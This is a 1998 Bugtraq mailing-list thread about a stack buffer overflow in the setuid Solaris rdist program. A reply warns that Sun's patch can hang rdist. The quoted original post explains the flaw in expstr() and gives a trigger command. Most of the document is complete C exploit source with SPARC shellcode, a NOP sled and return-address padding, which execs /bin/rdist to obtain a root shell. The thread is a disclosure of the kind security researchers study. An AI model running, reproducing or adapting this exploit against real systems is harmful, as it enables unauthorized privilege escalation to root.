Bugtraq mailing list archives

Re: solaris 2.x rdist exploit / too many humbles :p


From: thomas.jordan () EAST SUN COM (Thomas Jordan - ENS Sys/Admin - Columbia)
Date: Thu, 13 Aug 1998 09:02:25 -0400


A word of caution about this patch.  On 2.5.1 and 2.6 machines, the
patch can cause rdist to hang when rdisting out to an existing
directory.  It's not real consistent across machines, but once it
happens on a machine, it will happen everytime an rdist to an existing
directory is performed (the client machine hangs the rdist).  Remove the
patch on the client, and it works again like a champ.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Thomas Jordan                   email: thomas.jordan () east sun com
ENS Systems Administrator       pager: tjordan () pager east sun com
Sun Microsystems, Inc.
6716 Alexander Bell Drive       phone: (410) 312-1738
Columbia, Maryland 21046        fax:   (410) 312-1799
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

John McDonald wrote:

Enclosed is an exploit for a hole in Solaris rdist that I believe the
patch #105667-01 addresses. That patch is for 2.6. I've personally tested
the exploit on 2.6, 2.5.1, and 2.5 machines. I'm not sure if that is the
right patch, but I'm pretty sure this hole has been fixed.

You can see the hole if you look at the bsd source for rdist, which is
apparantly pretty similiar to the code Sun used. The vulnerability is in
expand.c, which you can look at here:

http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/rdist/expand.c?rev=1.5

Part of the program's functionality is to allow a user to define
variables and reference them in a way similiar to environment variables.
The problem comes in when the program attempts to substitute the symbol
representing the variable with it's value. You should be able to see this
by doing: rdist -d bleh=AAAAA(lotsa lotsa A's) -c /tmp/ '${bleh}'

In the function expstr(), we have

if (tp != NULL) {
   for (; tp != NULL; tp = tp->n_next) {
     (void) sprintf((char *)ebuf,
          "%s%s%s", s, tp->n_name, tail);
     expstr(ebuf);
    }
   return;
}
A little higher in the code, we see:
u_char ebuf[BUFSIZ];

This is obviously a bad thing. BTW, none of the bsds or linuxs are
vulnerable to any rdist hole to the best of my knowledge because the binary
isn't suid.

My nick used to be humble, but as of reading bugtraq yesterday, I can see
that someone else is partial to the name. In order to allieviate
confusion, (and to possibly deflect emails about how to "run
ufsrestore.c" to him :p), I'll change my nick. And looking at this last
post, I don't think I want to inherit his enemies. :>

horizon

  ------------------------------------------------------------------------
/* rdist solaris 2.* sploit */
/* by horizon. thanks to ktwo */
/* argv[1] is your offset */

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH 1024
#define SAFETY 40 /* blind guess */
#define EXTRA 400
#define STACK_OFFSET 2360
#define SAFETY_OFFSET 248
#define SPARC_NOP 0xac15a16e

u_char sparc_shellcode[] =
"\x90\x08\x3f\xff\x82\x10\x20\x8d\x91\xd0\x20\x08"
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08";

int addr_ok(long a)
{
        if (((a>>24)&255)==0) return 0;
        if (((a>>16)&255)==0) return 0;
        if (((a>>8)&255)==0) return 0;
        if (((a)&255)==0) return 0;
        return 1;
}

u_long get_safe_addr(long sp)
{
   return sp-SAFETY_OFFSET;
}

u_long get_sp(void)
{
   __asm__("mov %sp,%i0 \n");
}

int main(int argc, char *argv[])
{
   char buf[BUF_LENGTH + EXTRA + 8];
   char tempbuf[BUF_LENGTH + EXTRA + 8+6];

   long stack,targ_addr,safe_addr;

   u_long *long_p;
   u_char *char_p;
   int i, code_length = strlen(sparc_shellcode),dso=0;

   if(argc > 1) dso=atoi(argv[1]);

   stack=get_sp();

   safe_addr=get_safe_addr(stack);
   while(addr_ok(safe_addr)==0) safe_addr+=8;

   targ_addr = stack + STACK_OFFSET - dso;
   while(addr_ok(targ_addr)==0) targ_addr+=8;

   long_p =(u_long *) buf ;
   for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
      *long_p++ = SPARC_NOP;

   char_p = (u_char *) long_p;

   for (i = 0; i < code_length; i++)
      *char_p++ = sparc_shellcode[i];

   *char_p++=' ';
   *char_p++=' ';

   for (i = 0; i < SAFETY /4; i++)
   {
      *char_p++ =(safe_addr>>24)&255;
      *char_p++ =(safe_addr>>16)&255;
      *char_p++ =(safe_addr>>8)&255;
      *char_p++ =(safe_addr)&255;
    }

   for (i = 0; i < (EXTRA-SAFETY) /4; i++)
   {
      *char_p++ =(targ_addr>>24)&255;
      *char_p++ =(targ_addr>>16)&255;
      *char_p++ =(targ_addr>>8)&255;
      *char_p++ =(targ_addr)&255;
   }

   *char_p++=0;

   sprintf(tempbuf,"bleh=%s",&buf[2]);

   printf("Stack address: 0x%lx. Safe address: 0x%lx (delta %d).\n",
      stack,safe_addr,stack-safe_addr);
   printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
      targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
   execl("/bin/rdist","rdist","-d",tempbuf,"-c","/tmp/","${bleh}",(char *) 0);
   perror("execl failed");
}



Current thread: